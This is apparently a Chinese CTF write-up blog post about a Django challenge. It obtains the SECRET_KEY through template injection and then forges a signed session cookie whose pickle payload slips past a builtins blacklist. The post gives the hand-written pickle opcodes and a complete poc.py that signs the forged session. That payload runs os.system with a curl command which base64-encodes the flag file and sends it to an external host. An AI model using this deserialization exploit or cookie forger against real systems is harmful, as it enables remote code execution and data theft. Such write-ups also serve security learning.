0x00
前言
懒狗突然想起来好久没有更新了,于是赶紧爬起来摸了一篇文章。
一道django
配合pickle
的session伪造。好像和我出的pickle&flask
差不多,实际上差太多了。我们直接来看题目吧。
PS: 我使用pker
写的payload
根本无法使用。只能手写。
0x01
源码
我们发现整个程序的入口文件是views.py
。于是尝试在本地跑这个程序。在35行auth.login()
这里下断点。
之后开启debug
模式运行django
程序。尝试使用cioier/1
登录。查看SECRET_KEY
的位置。因为本身对django
不太熟悉的缘故,我这里就不班门弄斧了。最后在request.user.groups.source_field.opts.app_config.module.admin.settings.SECRET_KEY
找到了。
然后怎么才可以读取SECRET_KEY
呢?我们发现index()这里有拼接,猜测可能有SSTI
。
于是注册/1
。
拿到了SECRET_KEY
之后我们就可以尝试session
伪造了。。那么我们去setting.py
中看看能不能session
伪造吧。看到SESSION
的加密模式是cookies
,说明可以session
伪造。
如果你审计的足够仔细的话会发现SESSION_SERIALIZER = 'core.serializer.PickleSerializer'
。这行配置直接打消了我的疑惑。众所周知,在django session
中一般是使用json
进行数据的格式化的,和flask session
有异曲同工之妙。但是这里将格式化的方式从json
改为了pickle
。所以我们可以在调试的时候发现pickle
的数据流。也就是说,我们可以通过控制session
的方式来实现pickle
反序列化恶意代码。
0x02
分析
有一点难受的就是这里的pickle
被过滤了好多啊。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| import pickle import io import builtins
__all__ = ('PickleSerializer', )
class RestrictedUnpickler(pickle.Unpickler): blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
def find_class(self, module, name): if module == "builtins" and name not in self.blacklist: return getattr(builtins, name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
class PickleSerializer(): def dumps(self, obj): return pickle.dumps(obj)
def loads(self, data): try: if isinstance(data, str): raise TypeError("Can't load pickle from unicode string") file = io.BytesIO(data) return RestrictedUnpickler(file, encoding='ASCII', errors='strict').load() except Exception as e: return {}
|
审计完之后我们可以看出来我们只能调用builtins
。但是这里的getattr
没有过滤。那么我们就可以快乐的getattr
获取dict
。所以我们可手写出下面的pickle
(不懂 pickle 的可以看我之前的文章)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| cbuiltins getattr (cbuiltins dict S'get' tR(cbuiltins globals (tRS'builtins' tRp1 cbuiltins getattr (g1 S'eval' tR(S'__import__("os").system("whoami")' tR.
|
然后就是写出poc.py
了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| from django.core import signing import pickle import builtins,io import base64 import datetime import json import re import time import zlib data = b'''cbuiltins getattr (cbuiltins dict S'get' tR(cbuiltins globals (tRS'builtins' tRp1 cbuiltins getattr (g1 S'eval' tR(S'__import__("os").system("curl 192.168.232.1:3333/?$(cat /flag_djang0_p1ckle | base64)")' tR .'''
def b64_encode(s): return base64.urlsafe_b64encode(s).strip(b'=')
def pickle_exp(SECRET_KEY): global data is_compressed = False compress = False if compress: compressed = zlib.compress(data) if len(compressed) < (len(data) - 1): data = compressed is_compressed = True base64d = b64_encode(data).decode() if is_compressed: base64d = '.' + base64d SECRET_KEY = SECRET_KEY print(base64d) session = signing.TimestampSigner(key = SECRET_KEY,salt='django.contrib.sessions.backends.signed_cookies').sign(base64d) print(session)
if __name__ == '__main__': SECRET_KEY = 'zs%o-mvuihtk6g4pgd+xpa&1hh9%&ulnf!@9qx8_y5kk+7^cvm' pickle_exp(SECRET_KEY)
|
直接接受flag
就好了。
0x03
结语
之后应该会像学习flask
一样,我会去学习django
的底层算法。之后我们再聊吧。